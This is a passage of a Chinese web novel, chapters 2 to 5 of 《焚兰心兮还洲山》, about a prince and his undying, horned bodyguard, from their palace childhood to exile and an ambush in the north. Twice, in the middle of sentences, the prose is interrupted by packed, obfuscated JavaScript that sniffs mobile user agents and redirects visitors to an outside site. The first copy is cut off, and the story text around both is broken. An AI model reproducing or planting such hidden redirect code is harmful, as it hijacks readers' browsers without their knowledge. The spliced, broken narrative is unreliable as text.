《焚兰心兮还洲山》 2. 鬼角 宇文暾是三皇子,往上有皇后所生的太子、大公主,两位品阶稍低的妃嫔所生的二皇子、二公主,这才轮到宇文暾,往后又有七个皇弟、皇妹。眼见太子身健,皇后端庄,太子大宇文暾十岁,算算时日,宇文暾并无皇帝可当。 他的母妃李夫人出身陇西李氏,李家世代纵横于刀剑马上,李夫人与皇帝相识甚早,当皇帝还未是皇帝时就伴于君侧。只可惜宇文暾姗姗来迟,也或是更恨郎心有转移,李夫人的儿子做不成太子,她心里有怨。李夫人总是差皇后半步,她却不信自己的儿子会比太子差。 不是太子,轮不上由太子太傅一手教导,宇文暾这般宽厚聪敏,李夫人便搜罗天下良师,换着法送进宫里教导宇文暾。 宇文暾每日的程课给塞得满满当当,有文有武。整座蓬阳殿,最用功的就是宇文暾了,偏偏他还不知疲倦,乐在其中。早上请安毕了就开始学,学到太阳西沉也不释卷。 那小侍卫就不同了。自那一次私逃又被捉拿回宫,俞之陆断了逃跑的心思。俞函以宇文暾的武学师父身份入蓬阳殿,却还轮不上教宇文暾,是在白日教导俞之陆,令俞之陆根本无处可逃。 炼体该有多苦?学武该有多难?三伏天练淬火身,数九天卧冰饮雪。他人该睡了的时候,俞之陆得醒。他人该醒了的时候,俞之陆得聚精会神,小心提防所有可能伤害到主人的存在,一花一叶皆是杀器,心便要比花叶还细,身法要比雀鸟更轻。此为学成了的俞之陆。 现下,俞之陆还是个毛头孩子。做宇文暾的死士、近卫,这并非他所愿。难道不入宫就没那一口饭可吃吗?他从北漠更北的部落来,部落与部落间战争频发,两年前北昭军北上收复散胡领地,俞之陆随部落遗孤南下,颠沛流离,讨饭一年半。 俞之陆被俞函挑中,完全是场意外。如若他不跟俞函走,他的同族就要遭难。俞之陆小小年纪,就深知豁出一条命,可拼得盆满钵满。大不了他一跑了之,一次不行就两次,反正没人打得死他。 俞函也好,李夫人也好,要俞之陆给宇文暾做死士,都是因为看中他的秘密。 俞之陆是不死之身。 自宇文暾发现俞之陆有极快的自愈能力,宇文暾便更愿意将俞之陆带在身边了。他要俞函在皇子修武的院子里教导俞之陆,有时宇文暾也上去学个一招半式,更多时候竟是命人打开殿门,他在殿里学琴棋书画,俞之陆在院里学武。春一来,宇文暾又命人将书案搬至院中,不刮风、不下雨时,宇文暾便与老师在院中念书、考校。 俞函不解,去见李夫人。李夫人说:“我这儿子天性仁厚,又机敏善断,你瞧,他还不满七岁,就知道留人在眼皮子底下才叫安全。他担心你用皮鞭子抽小侍卫,用刀子剜小侍卫,还给小侍卫点哑穴,所以才这样做。” “可是教养死士,就是要上刑才有力道,小孩才能学得会。”俞函恭敬而忧愁。 李夫人又问过了其他小死士是如何教养的,俞函一一答过。相比而言,俞之陆的日子过得如公子般爽快。李夫人又问,那这样教了,俞之陆会比其他小死士差么?俞函不知,他心里觉得俞之陆是要逊色些的,可又不好砸了自己的招牌。 “你去向暾儿解释吧。你去他那儿说通了,他兴许就不拦你了。”李夫人泰然道。 俞函做了二十余年的门客,虽已退隐江湖,可他从前也是以奇型诡术结合刀剑兵法闻名的大师。他知道皇宫艰难,没曾想教个死士小孩也要毕恭毕敬。早知如此,何必要让宇文暾过问他的暗卫伴读?俞函看不懂李夫人,李夫人亲自教的儿子也不是善茬。 俞之陆懵懵懂懂,心不在宫内,在宇文暾的庇佑下,饱足地过了这个冬天。临到了春日,俞之陆才像醒了一般,正视起自己的命运。 “之陆,说话。” 宇文暾今儿个心情好,决定来撬开俞之陆的嘴。宇文暾知道俞之陆爱吃肉,今日唤辛阑、辛夷备了几道羊肉菜,宇文暾让俞之陆同他一起吃,但俞之陆须得按宇文暾的要求做事。 这人为什么要装哑呢?宇文暾仔细回忆俞之陆寥寥几次开口,口音与京安不同,这可以理解,难道还有旁的缘由? 俞之陆刚从武学场回来,一身热汗凉却,黏糊糊地贴着里衣,很不舒服。宇文暾要请他吃羊肉,俞之陆高兴,可没曾想,他打手势不好使了。他拎起衣襟嗅了嗅,投请求的眼神给宇文暾,宇文暾本应放他回耳房换衣,怎么现在要求他说话了? “说什么?”俞之陆也不犹豫,回话了。 “从今日起,不兴同我打手势、作眼神,要做什么,统统说出来。”宇文暾道。 “为何?”仍是极不客气的二字。一旁伺候的辛阑、辛夷微微蹙眉,担心调教不力的祸水落到自己头上。 宇文暾放人:“你先去换衣罢。” 俞之陆换过干爽的衣服,宇文暾命辛夷为俞之陆布菜,俞之陆在桌前略显拘束,眼睛却随着辛夷的筷子走,他许久没吃羊了,那水草丰美之处养出的北漠羊……自是这萧索皇城比不得的。 这时,宇文暾却收缴了俞之陆的筷子。他问:“是谁,教你不与我说话?” “师父说,暗卫是哑巴。”俞之陆断断续续地回话,但语气自然,“不用说话,养得不用说话,你要养,我也要养。” 宇文暾眨眨眼,又问了几个问题,俞之陆答得磕磕绊绊。宇文暾这才说:“你不会说官话?” “但我能懂。”俞之陆说,“懂就能学。” “若想学会,就要多说。忘了你师父教你的‘少言’准则,你明面上要做伴读,怎能连官话都说不好。”宇文暾宽宥地将筷子还给俞之陆。 方才俞之陆的意思是,俞函教俞之陆做哑巴,俞之陆要习惯这回事,宇文暾也当习惯这回事。宇文暾听懂了,心里不喜欢,当即否掉。 前些日子俞函向宇文暾禀明了死士之驯养手段,宇文暾不过问宫外的死士,独独追问俞之陆。俞函打算于春日开始让俞之陆严苛修行,宇文暾阅过,毛笔一批,要俞函顾及俞之陆的休息,俞之陆是过了明路的侍从,领了湛明光远方亲戚的身份,不能虐待他。俞之陆可以偏研武法,日后做校尉,但不应让人看出他在做死士的修行。 宇文暾另加了一条,令俞函内心惊异,他真是孩童吗?不知是李夫人教得好,还是宇文暾天赋如此。宇文暾加的一条是:我每日要检查俞之陆肢体健全,不可在他头颈、腕、髀处留伤。 至此,每晚俞之陆都要向宇文暾示颈部、手腕与大腿是无伤的。俞之陆哪知道为什么,他还觉得这三皇子殿下有些太客气了。 李夫人道:“呵呵,我没得与皇后、贵嫔斗,生了个儿子倒是与我斗得欢。”话里带刺,语调却骄傲。这是宇文暾担心李夫人与俞函私下试验俞之陆的死门。 所谓不死之身,是真能不死么?倘若断他肢、枭他首,他还能活么?宇文暾的意思便是不许大人们拿俞之陆来试。 俞之陆被宇文暾强逼着开口讲官话,自是有用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞之陆持匕首进鹿林,站定于口信所提的古柏下,很快便听见马蹄声。 马蹄纷纷,俞之陆直觉不对。他人小腿短,朝马蹄声的反方向跑去,走大路危险便走小道,只可惜一只暗箭破风而来,正中俞之陆后背,将他几乎钉在地上。 这般痛楚岂是“剧痛”二字能概括?俞之陆恍惚咳血,眼中晦暗,已是将死之态,前路未卜。但,俞之陆是从那北漠坟场活着回来的孩子,他是不死之身,又意志顽强,在喘息片刻后,他双眼重新聚焦,摸索着爬向草丛深处。这次他没有再让任何人找到他。 此箭的箭柄有手指粗,箭矢穿胸而过,俞之陆试图反手拔箭,无能为力,折腾许久,俞之陆最后还是藏在草中昏沉睡去。 鸡鸣晨起,俞之陆是被渴醒的。 箭矢仍在,胸口却只剩微痛。俞之陆漠然地攥住箭矢,另一手挥舞匕首,竟是大力将箭矢砍断下来。没了倒钩的箭头,俞之陆很快便想办法将胸后的长箭拔了出来。 脑袋很沉,丑态未改。多亏这丑态,俞之陆不怕疼更不怕死,见血也欢喜。 俞之陆用沾了血的手,抚上自己额前一对骨白色的长角。此鬼角光滑微弯,顶端圆尖,有小臂长,触之微凉,胡人部落称之为不祥。 俞之陆以匕首贴额,利落地将新生鬼角削将下来,借石刨土,就地掩埋。他的额前徒留两个血窟窿,但他知道这伤口很快就会好。 这便是俞之陆常年戴抹额的理由了。昨日他换了深青色抹额,正好便宜他今天藏起额前这血色。 3. 竹马 俞之陆眺望鹿林更深处,秋狩猎场有军兵营围,可也比高墙遍布的京安好逃。是逃还是不逃? 正当俞之陆这样想着,就听宫人常侍带队找人的动静,扯着尖细的薄嗓,唤俞之陆的名字,或将换换称谓,也喊“小侍卫”、“小伴读”。俞之陆匍匐草丛中,眼见宫人路过他,风中飘来浅浅交谈声。 “若是找不到人,没法向三皇子殿下交了差。你们仔细找,人不够就再招些。”常侍道,“三皇子殿下急病了,陛下也担忧,今儿个猎场还能不能开,还要看三皇子殿下放不放陛下走。” 俞之陆的心蓦地突跳几下。 宇文暾在李夫人帐中发高热,李夫人请皇帝来,皇帝难得见宇文暾烧得面色通红,也是心软,这样聪明的儿子要是烧傻了怎么办?御医替宇文暾诊治一番,说是宇文暾急火攻心,昨夜又在账外徘徊,内外寒热一交替,这才受风发热。皇帝感慨荒唐:“这么小的孩子,哪来的这么大火气?” 李夫人解释道,是昨夜太子、二皇子的伴读们欺负暾儿的小伴读,应是将人诱进鹿林深处了,暾儿昨夜请人去找,找了两轮都没找见,只好求见太子与二皇子,问究竟是将人引至何处。可太子与二皇子不仅不见暾儿,还命侍卫统统不许去找。暾儿一夜未眠,早晨便烧得不省人事。 皇帝听明白了。常侍在账外求见,终于找着了小侍卫。宇文暾坐起身,他耗了皇帝一早晨,见皇帝愠怒,要责难俞之陆,宇文暾气喘,常侍押着小侍卫回来,俞之陆一身草泥,显然前一夜也不好过。 宇文暾与俞之陆对上眼神。宇文暾的眼泪说下便下,俞之陆不知如何应对,竟也伏地干嚎,不出眼泪但出声。 李夫人温言劝说皇帝,人回来便好,她会将人带回蓬阳殿好好教导。俩小儿胆子都小,担不起皇帝威严,请陛下体谅。说罢,李夫人同皇帝出了帐,宫人也退去,只剩宇文暾、侍女辛夷与俞之陆。 此乃契机,俞之陆头一次意识到,他与三皇子殿下应当同进退。若三皇子不负他,他也不该叛逆。 一年之期已到,俞之陆能说一口流利官话,也识字背经,最要紧的是,他与宇文暾交好,已有默契。 宇文暾的老师出题,俞之陆将能答的全答上,答不上的便许诺日后补过,必不落下。老师认为俞之陆且忠且诚,做伴读是够用了。 俞之陆喜欢武学。俞函眼见骗不过宇文暾,不好用烙铁、泥汤、禁闭、刀钺来练俞之陆,只能换一方式,掏出两本心法。 一本心法名为《飞神功》,月晦星冥之时开始修炼,打通小周天,孤心可畅游世际,养成广阔无边的武识。另一本心法名为《匡机经》,须得赶一日的毒辣阳光才练得,聚阳灵于大周天,使功法于经脉中通行,供给无边内力,可使一切兵器武法。 俞函对俞之陆道:“我本不该教你这江湖功法——可既然你喊我‘师父’,三皇子殿下也客气唤我一声‘老师’,我只得尽力教导你。我得友人赠这两本功法,有豪侠后人,也有隐逸侠仕,他们精于武学,却苦于无人继承。如今是灭侠重士的时代,我只希望你借此心法记住他们。” 这些心法皆是秘密。借由秘密,师徒二人才终于建立起情谊。小孩被当做可以信任之人,遂报答这信任。大人承认小孩之特殊,才得以定心培养小孩。 俞之陆兴趣飘忽,迟迟定不下专门的武器。弓枪刀剑、锁钩盾斧,俞之陆全学了个遍。他每半月要去一趟暗卫营,与三皇子的暗卫、死士比试,孩童们使得趁手的武器相互厮杀,俞之陆每次去几乎都要换兵器,偏偏他争气,自他八岁起,每次试炼都是第一。 就三皇子的养法,俞之陆怎么能不得第一?他是三皇子的武伴读,却吃掉了皇子粮肉份例的三分之二。三皇子得严格按照礼法度过每一个时辰,俞之陆却不同。他若是夜里练了《飞神功》,可推迟至辰时才起床;午间他练过《匡机经》,还可用过饭食就休息。俞之陆从暗卫营大胜归来,侍女辛夷与辛阑还要问俞之陆想吃什么,可为他多添两道爱吃的菜。 俞之陆心大,从不过问三皇子的好意是从何而来。这不是天经地义的么?俞之陆这一生要替宇文暾挡多少刀啊!俞之陆自己都不乐意数了。 宇文暾的身体到底比不得俞之陆,有时说病便病了。身为皇子,宇文暾精通六艺,六艺中与武学挂钩的只有骑射,宇文暾便也只练骑射。每年皇子比武,宇文暾总拿个不上不下的名次。其他几艺,但凡与慧根相关的,宇文暾统统拔得头筹,因此皇帝总爱拿宇文暾的聪慧来刺痛皇子们,加之李夫人与王皇后素来不合,宇文暾总受太子针对。 有俞之陆这样一位同岁的武伴读,宇文暾少受许多罪。 寻常的奚落与机锋,宇文暾能靠自己的嘴皮子挡回去。遇见动拳脚的事,那就全要靠俞之陆了。 皇宫内除虎贲卫士可携刀剑,其余侍卫鲜少得佩兵器。俞之陆为避人耳目,专修了一门点穴法,以石击穴,可封人口舌、麻痹手脚,甚至令人晕死过去。凡是遇太子或二皇子携侍卫挑衅,俞之陆就点穴作弄回去。 有一回太子侍卫拔刀,受太子之命,直奔俞之陆而来,教训藐视天家尊严的武伴读。十三岁的俞之陆步法如云,在三位侍卫之中灵活周旋,击中太子侍卫手腕,宽刀应声落地。宇文暾提醒俞之陆,皇宫内不兴舞刀,俞之陆便在纷杂围攻中,踢刀柄将刀送出去。太子侍卫去捡刀,又有新刀给卸了下来。如是几场轮战,俞之陆毫不越矩,太子及其侍卫却被赶来的太子太傅抓个正着。 太傅判断宇文暾有大才,但太傅不喜欢宇文暾。宇文暾无所谓太子太傅的态度,反正太子输了。 还有那么几回,俞之陆替宇文暾试菜,真给俞之陆尝到了几种奇毒。这般看来,宇文暾当然要好吃好喝喂着俞之陆,俞之陆不吃过同一桌的食物,宇文暾都不敢动筷。 宇文暾全然信任俞之陆 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宇文暾与俞之陆自小互相扶持,尽竹马情谊。宇文暾将学得的兵书、法论全讲给俞之陆听,也不管俞之陆能懂几分。俞之陆听得不耐烦了,大叫摔书而走,宇文暾笑着求俞之陆回来,他以粮米作立体的地形图,一点点讲与俞之陆听,什么是三十六计,如何分析曲折。俞之陆因俞函的江湖身份,遍得天下武学,他学过之后,也教回给宇文暾。宇文暾身为皇子,行坐都端正,除了皇宫的剑术之外,他不愿意学旁的。俞之陆只好与宇文暾交换,俞之陆学文,宇文暾就学武。俞之陆亲自学了一套《云浮剑法》,再手把手教宇文暾练会,这剑法只需微薄内力,便可催得轻剑增威百倍,身法如鹤,剑若雷光。 这般好光景,至二人十五岁那年到达顶峰。 宇文暾向皇帝呈上《阵法演》,是宇文暾将现有的兵书全融会贯通,遍查北昭大大小小几百场战役,结合北昭国土之地形与堪舆,做成一部兵法谱,用时可如查棋谱般,见招拆招。皇帝宇文敬喜出望外,宇文暾甚至是以祝寿名义递上来的,这般好兵书,宇文暾没有私藏,选择呈给敬爱的父皇。 宇文暾因此得了一块南山陨铁。白天拿到,晚上就偷偷送出宫。宫外江湖名匠三个月便打成了,送返回来。那日雪若崩花,天际有暗紫色的幽雷,俞之陆捧着宇文暾送他的陨铁刀,爱不释手。 “刀已赠你,自然是你起名。”宇文暾莞尔道。 “你奚落我。我哪能起出甚么好名字。”可俞之陆捧着刀不放手,也笑得见牙不见眼。 宇文暾望窗外诡谲天色,今年的雪来得过早,时令全混沌了。宇文暾便说:“‘岁终梦老心未改,红刀惊雪故人来’。换我,我会叫它‘惊时’,一刀落下,时令也乱了。” 俞之陆顺势一摸宇文暾的手,凉极,俞之陆当即寻了暖炉,塞进他手里,这才又把玩起自己的新刀。 “就叫‘惊时’。从此我便只用刀了。”俞之陆欢喜。这可是皇帝赐给宇文暾的宝贝,多少朝臣将军不可得的,以后就挎在俞之陆腰上了,谁来也抢不走。 4. 流放 天灾始,朝廷变。 建隆二十年,早雪败秋收,然冬月大雨,水溢为灾,百姓饥寒交迫,受困贫地。北方部族又蠢蠢欲动,意欲缓慢地收回失处。民众间开始流传诡秘之玄象,称北天有新兆,是灾异也是救星,去北地之人皆获神奇巫力,可饱食不寒,以气养生,可为异人。于是乎又有流民北迁之趋势,归顺北方部族者众多。 清谈士族借此上谏,或有不公,请皇帝勤加理政,开春需得设坛祭天。武将率兵去北边镇关,李夫人的哥哥李邕被封镇北将军,得遣之。 岁寒,李夫人平添白发,终日愁思,她命内侍合上殿门,她要与宇文暾、俞之陆秘密议事。 “暾儿,之陆,现下我需要你们做出些牺牲。”李夫人道,“太子与王皇后已等不得了。如今只有两个选择,一是入春之后便立刻将暾儿你送往封地,远出京安,三年内不得归来;二……二是之陆假死,这或许还能为暾儿争取一年半载,留在京安等转机。” 不仅是太子与王皇后等不得了,几位皇子借天灾蓦地登上权力擂台。朝内局势紧张,李家明升暗贬,李夫人估计哥哥这一行凶多吉少,已作最坏打算。若不是王家老臣联合百官推举,皇帝不会派李将军前去。 众人皆知宇文暾是皇位竞争的有力人选,为何要他在这时退出?李夫人有苦衷,却不得告知。宇文暾大致一推算,便想明白了。 李家如今被削,北地战况不明,天灾亦不明,王皇后及其外家恐已布下天罗地网。皇帝派李邕去北边,不代表这是信任他,说不定是为李家下套。他宇文暾要么留在皇城做一位被剪了羽的李家人质,要么自请去封地,宣布退出争斗,愿为皇帝分忧,治理灾后的狼藉。 宇文暾同俞之陆低语,当着李夫人的面说悄悄话,是为李夫人的话作注解。李夫人气笑了,将桌上一枚玛瑙牌符扫落在地。俞之陆捡起来,略一摩挲,发现此为新制的玛瑙符。李夫人对宇文暾说:“哥哥走之前留了一支秘密部曲,以此符调遣。若你去封地,他们会如同羽林军一般护卫你。若你不去封地,之陆在暗处保护你便够了。” 俞之陆将玛瑙符交给宇文暾,抢话道:“难道他去封地不带我?不论兰缨去哪里、在何处,有我在就都足够。” 李夫人更是恼火:“暾儿,我不喜你这字!‘兰缨’……过于阴柔!不合礼制!” 俞之陆心中一乐,暗道,美人配美字,怎么不合适了?皇子不及弱冠就要起字,宇文暾为俞之陆的刀起名,以作交换,俞之陆送宇文暾一个正式的字——“就叫‘兰缨’如何?”那时俞之陆眼巴巴看向宇文暾。 “兰缨”二字不足以寄托志向抱负,可宇文暾还是接下了。若皇帝逼他改,到时候再说。 宇文暾道:“去封地还是留京安,母亲想我怎样选?” “都好。都不好。”李夫人疲惫至极。 宇文暾又道:“母亲,日后我们多加议事吧。我有这般头脑,不用岂不是可惜?” 看来宇文暾是要选留在京安。俞之陆无所谓,假死就假死,他这武伴读也当够了,换种身份,或许更自在,因为他只需在暗处瞧着宇文暾,不必与旁人打交道。 宫中流传消息,三皇子殿下的武伴读因急病暴毙而亡,遍体红疮,死状凄惨。蓬阳殿内外大兴清洁,似是要驱除秽物。有常侍叹道,这武伴读的武技高超,杀戮自如,倜傥疏狂,得此结局,实在可惜。 俞之陆换一袭黑衣,潜于暗处,拾起暗卫的本领。他本就是暗卫营的魁首,不论宫内宫外,他的武学已巅峰造极。 李将军一去便是两年,边境战乱不休。宇文暾是众皇子之眼中钉,他便借伴读之死,告病半年。御医来看,都说三皇子殿下的体弱不是一时之况,这不是自小便如此么。 皇帝的身体每况愈下,此时,李邕托心腹进贡一块巨灵石,称这块灵石便是流民北迁的原因。李邕斗胆替皇上试过,此灵石确有神效,可愈伤、饱腹、壮体、强神。 这块巨灵石有丈高,需三人才可合抱。巨灵石呈一种奇异的胭脂色,没入水中却又褪成剔透海蓝。皇帝命工匠加急造一座灵池,将巨灵石嵌入池底,供其养生修行。有灵石为伴,皇帝的身体确实好转,神采奕奕,似年轻二十岁。李家一时间得无上荣宠,只差李邕打一场漂亮的胜仗。 可是,好景不长。 建隆二十三年,皇帝因巨灵石而精神矍铄三月有余,后人却认为这是回光返照。三个月以后,皇帝忽的晕厥不起,此后即便苏醒,也神智不清。 太子发难李家,进贡妖石,谋害龙体。不论李家以何种证据证明无辜,皇帝很快驾崩,李家百口莫辩。皇帝死前未留继位诏书,遂顺应嫡序,太子继位。 李邕被押送回京,因献妖石祸国,削镇北将军,下狱待诏处死。李夫人妖言惑主,赐白绫一条。李氏宗族满门抄没,罪臣父母亲族抄斩,远支族人流放,永不回京。 李家于朝中只剩一位三皇子。三皇子此等聪达奇智,却眼见李家覆没。新皇念三皇子曾呈军书《阵法演》,李邕一回京,其旧部归顺新皇,立刻以军书指导,拿下胜绩。新皇赐三皇子“朔北王”,发往朔北封地,以镇北虏,研究兵法以护国。 蓬阳殿的宫人几乎被杀绝,俞之陆来不及救许多人,最终只救下侍女辛阑、老常侍盼永和几位同龄侍卫。 至于宇文暾,他陷入漫长悔恨中,恨自己未阻拦李邕献上巨灵石,也恨自己未劝服母亲。太子的白绫,你为何要吊?他们明明可救李夫人离宫,李夫人却不愿独活,是自己害了李家氏族,输给了王皇后。 新皇一路派兵押送宇文暾去朔北,宇文暾于心中细数自己的罪过,忧思过多,神智混沌。他错就错在……错在……?宇文暾已尽力,北昭重文臣、轻武将,他小太子十岁,太子有充足时间结盟,王家又是门阀望族,朝中小树依大树,宇文暾所养的寒门谋士还未有机会崭露头角,现恐已被连累遭难。小姓世家素来见风使舵,宇文暾即便拿捏他们的弱处,小姓世家也未必敢冒头。至于李家的武将关系——宇文暾当时就该选第三个选项,除了去封地、留京安之外,他本应随舅舅去北地…… 幸好还有俞之陆。 俞之陆的师父俞函换上人皮面具,重归江湖。在离开之前,俞函将幽神令交予俞之陆。李夫人曾请俞函在民间培养暗卫、死士,此令即为号令。这些年培养出的暗卫共十二人,俞之陆都认得的,除去“陆”号,从“壹”至“十三”,全归俞之陆调遣。 俞函原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411422|184596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是为了还中护军湛明光的恩情,才协助李夫人。如今湛家遭受李家牵连,俞函要回好友身旁,不能暗中陪同三皇子殿下去朔北。俞之陆是俞函最骄傲的弟子。他相信俞之陆可护三皇子周全。 俞之陆也戴人皮面具,混入押送队伍,作宇文暾马车旁最近的军士。 他们一路上朔北,路遇山贼、强盗都算家常便饭,新皇还派了他的死士前来执行灭口任务。朔北王死在路上更好,天才往往短命,新皇难道还真指望朔北王继续贡献智慧? 死士遇死士,不会死的死士自是无敌。俞之陆令六位暗卫先去朔北城探路,剩下六位暗卫暗中保护。新皇派死士百余人,俞之陆斩杀九十余。一把惊时刀吸饱鲜血,俞之陆挥斩之优雅,杀人之迅疾,令人胆寒。六位暗卫或多或少受伤,俞之陆留他们就近去治疗,治好后朔北城见。 有死士逃回京安禀报新皇,要给朔北王扣帽子了。在与死士一战中,押送军也死尽。俞之陆与宇文暾弃车,去驿站借两匹驿马,要赶在死士抵达京安前,先行一步抵达朔北城,完成交接。 双骑如鬼魅,两行夜流星。 宇文暾上任朔北王,他告诫自己,必须振作。 舅舅的镇北军被叛将收编,只剩母妃所说的那支部曲私兵伪装成迁徙散胡,归入朔北城。宇文暾无权将俞之陆提为校尉,俞之陆则主动提出,他应当继续藏在暗中。时局愈是动荡,俞之陆就愈应该“无形”。 新皇大抵也能猜到,俞之陆是换了一种形式陪伴在宇文暾身旁,当年的武伴读是假死。俞之陆说:“兰缨,我无法替你练兵,一切恐怕只得你自己来。你对李将军的亏欠,也应当由你亲手收回兵权而偿还。” 宇文暾明白这一道理。他从前重文,幸好俞之陆做他武学的“师兄”,教他练剑,不至于让宇文暾手无缚鸡之力、任人宰杀。 宇文暾屯兵、养民两手抓。他以朔北城为据点,兢兢业业两年,至弱冠年岁,扩兵至五千,百姓安定。他在抵御外族中积攒经验,已与当年在京安的宇文暾很是不同了。 为防止宇文暾拥兵返京,新皇派监军前来朔北城,辅佐朔北王,专理军政。 监军还未抵达,朔北城外却忽然乱了。胡骑夜袭,宇文暾率兵平乱。甫一返回城中休整,便有胡部头目派使者前来求和,声称愿意降附朔北王,携马牛百头以为示意。胡部只希望朔北王出城赴约,约定处离朔北城倒是不远。 宇文暾认为是圈套,可这支胡部确实扰民不堪,这是他的封地,于情于理他都该解决此事。在俞之陆陪同下,宇文暾带五百精兵赴约。 胡部归顺不是圈套,返城却遭了埋伏。他们于朔北城外遭受流箭袭击,死伤惨重,此战法不像胡人,反倒像北昭军。 俞之陆最怕流箭,四面八方来,他自己不怕中箭,只怕护不住宇文暾。 宇文暾以盾挡箭,他换了寻常军士的衣服,暗敌恐是一时间没认出谁是朔北王,流箭没有靶心。俞之陆御马回旋,忽然,一支箭直朝俞之陆后脑而来,俞之陆却被暗处动静吸引了注意力。宇文暾心急,扬马跃起,他替俞之陆挡了那箭,箭矢直刺入右胸。 那时宇文暾只想,不能让俞之陆后脑中箭。俞之陆没试过,宇文暾不敢试。 5.成亲 朔北荒凉,城外三十里,地势起伏,有风沙卷长草,没有可以遮蔽的树林。敌人在干河谷埋伏,黄沙夜幕掩甲光,临到宇文暾等人过河谷,角声四起,杀声如雷。 宇文暾中箭,缰绳一时脱手,俞之陆单臂一揽,宇文暾顺势跨上俞之陆的马匹。俞之陆从后抱住宇文暾的腰,他叫宇文暾举好盾,只需护住宇文暾自己。 俞之陆单骑破军,前方关隘仍有藏兵,此时宇文暾咬牙撑住,替俞之陆牵住马匹缰绳,宇文暾喊道:“你且应战!我来识路!” 声音落下,刀光也旋即落下。俞之陆抽出惊时刀,关隘伏兵的刀刃全给俞之陆削尽,马匹砍尽,人便更不可能靠近俞之陆分毫,霎时间断臂、残首伴随血幕划弧落地,乱蹄踏尽。 马儿没有跑往朔北城,而是去了胡杨环绕的弃村,黄叶如雾,却是幽魂禁地。几年前胡骑屠村,死伤数百,幸存者皆已移居塞内。 宇文暾支撑不住,盾牌脱手,俞之陆长臂扶住长盾,再将盾别在身后。其实俞之陆也身中了三箭,长□□入他侧腹又拔出,可俞之陆常年受伤惯了,对疼痛已不敏感。 二人抵达弃村,宇文暾半晕过去,俞之陆一一探查空屋,最终选中一座旧庙,因为只有这旧庙的屋顶还完好,可抗风。个别屋舍仍有骨尸未曾入土,更添哀伤。 俞之陆寻了干草作席,扶宇文暾侧躺。此箭刺入软甲,倒是不深,可位置极差,不能贸然拔箭。宇文暾失血口渴,俞之陆安抚他道:“附近有水源,我去去便来。” 宇文暾听得呜呜风声这般骇人,只说:“可惜药在我的马上,马却丢了。” “我去传信给其他暗卫,他们会携药。”俞之陆探宇文暾额头,发觉宇文暾正出冷汗,“我去取水,再拾些干柴,夜里太冷,不生火只会先冻死。” 宇文暾这才松开俞之陆的袍角。俞之陆出了旧庙,吹哨唤鹰,放一封空信,命鹰鸟绕空,作幌子;再吹短哨,唤来一种边塞常见的鸟儿,有暗卫学习训鸟之术,将边塞鸟儿训成信鸟,专为暗卫间传信用。俞之陆撕破里衣,蘸血写信,边塞鸟儿扑簌簌地乘夜风飞走了。 俞之陆带水壶、柴火回旧庙,他已将自己的箭伤、刀伤处理干净,只待伤口自行愈合。还未见到人,俞之陆便听见阵阵咳声。俞之陆加急脚步,只见到宇文暾咳血气促,面色青白,他仔细探摸,摸到宇文暾胸口气胀,需要排气。 以俞之陆丰富的受伤经验,处理这种伤不在话下。俞之陆当即生火,以火炙匕首,然后俞之陆扶住宇文暾的身体,低声道:“兰缨,很快便好。”说罢,匕首刺入肋下,胸中郁气排出,宇文暾猛咳一口血,随后气顺。 俞之陆干脆将里衣全脱了尽,撕成布条扎成长带,为宇文暾绕胸捆了气切伤口。俞之陆好像并不担心有追兵,或是宇文暾将要命丧荒村。俞之陆轻松说话:“不担心啊不担心,这箭等药来了再拔。” 宇文暾伤了肺,说不得话。俞之陆发现,更是一乐,继续道:“兰缨,下次休要为我挡箭,我伤了只消一夜便好,你伤了得一年来养。我叫你好好学武,你称忙……罢了,兰缨,多谢,我知你是为我挡脑后一箭。下次你便任那箭来,我倒想知道,若我的头首中箭,是否还能一夜伤愈。” “胡说……”宇文暾嘶声道,“不许拿命赌。” 俞之陆求这祖宗别开口,免得伤口又崩裂。破庙门衰,俞之陆搬了门板挡好,夜风强劲,几次欲吹翻门板,破落木窗噼啪开合,响声催命。俞之陆扶宇文暾更靠近火堆,宇文暾失温,俞之陆小心抱住宇文暾,给宇文暾当人肉暖垫。 宇文暾一要睡,俞之陆就拍醒他,重复数回,终于是在后半夜等来了药。 俞四带队四名暗卫抵达弃村,各带包袱,有药品、食物、衣物等必需品。俞四习过医,他与俞之陆一道为宇文暾拔箭、处置伤口。俞四说这箭险些伤及筋脉,最凶险的还是肺破,幸好俞之陆及时放气,否则王爷活不到现在。 暗卫向宇文暾汇报城内情况,甫一汇报完毕,俞之陆便说宇文暾可以休息了,早睡早好,旁的事等醒来再说。不等宇文暾回应,俞之陆抬手点穴,断了宇文暾说话的心思。俞之陆最擅长点人哑穴,宇文暾只得用眼睛瞪他。俞之陆又说:“你还不睡?一炷香内不睡,我再给你点睡穴。”宇文暾只好憋闷着阖眼了。 他们足足在荒村待了三日。朔北的王爷丢了,朔北城却是毫无反应。 宇文暾伤势严重,需回王府静养,可朔北城内气氛实在诡异,宇文暾便执意留在弃村,拖延时日,等暗处之人的意图暴露。 暗卫们早在抵达弃村那日就抹除了俞之陆、宇文暾二人的踪迹,四位暗卫分成两组,轮流值守。宇文暾清醒的时间不多,断断续续起高热,俞之陆在庙里就近煎药,借火烤暖,苦风阵阵。 宇文暾清醒时会与俞之陆商议。根据城中暗卫的来信,监军谢屏带了一万兵士前来,意欲降胡,未曾想朔北王遭贼胡先骗出了城,贼胡岂有降乎?监军这话是说给朔北王的五千精兵听的,宇文暾与所带的五百骑没有归来,这就是最好的证明,朔北王恐是反遭胡人扣下了。 